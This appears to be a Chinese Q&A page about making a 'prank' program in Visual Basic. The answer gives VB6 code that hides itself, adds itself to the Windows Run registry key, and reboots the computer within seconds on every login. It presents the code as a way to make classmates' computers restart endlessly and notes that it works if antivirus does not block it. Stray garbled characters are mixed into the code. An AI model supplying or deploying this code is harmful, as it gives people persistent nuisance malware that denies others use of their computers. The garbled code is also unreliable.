用VB制作恶搞小程序
的有关信息介绍如下：
这不好哦 这段代码会让你们同学的电脑部段重启 Dim a As Integer, mulu As String Private Sub Form_Load() Dim w mulu = Trim(App.Path) & "谨蠢拍\" & "好玩" Set w = CreateObject("wscript.shell") w.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"祥羡 & "好玩", mulu, "REG_SZ" '这是一行上的哦应该都有知道档纤吧a = 0 App.TaskVisible = False Form1.Hide End Sub Private Sub Timer1_Timer()’要添加个timer1控件将Interval属性设置为1000a = a + 1 If a = 9 Then Shell "shutdown -r -t 0" If a = 10 Then MsgBox "呵呵,准备给我打点话吧" End If End Sub 前提是没被杀毒软件阻止 生成保存命名的时候 叫 “好玩”不然要错 有疑问连系115101499 我的QQ
版权声明：文章由 好百科 整理收集，来源于互联网或者用户投稿，如有侵权，请联系我们，我们会立即处理。如转载请保留本文链接：https://www.haobaik.com/tips/236942.html
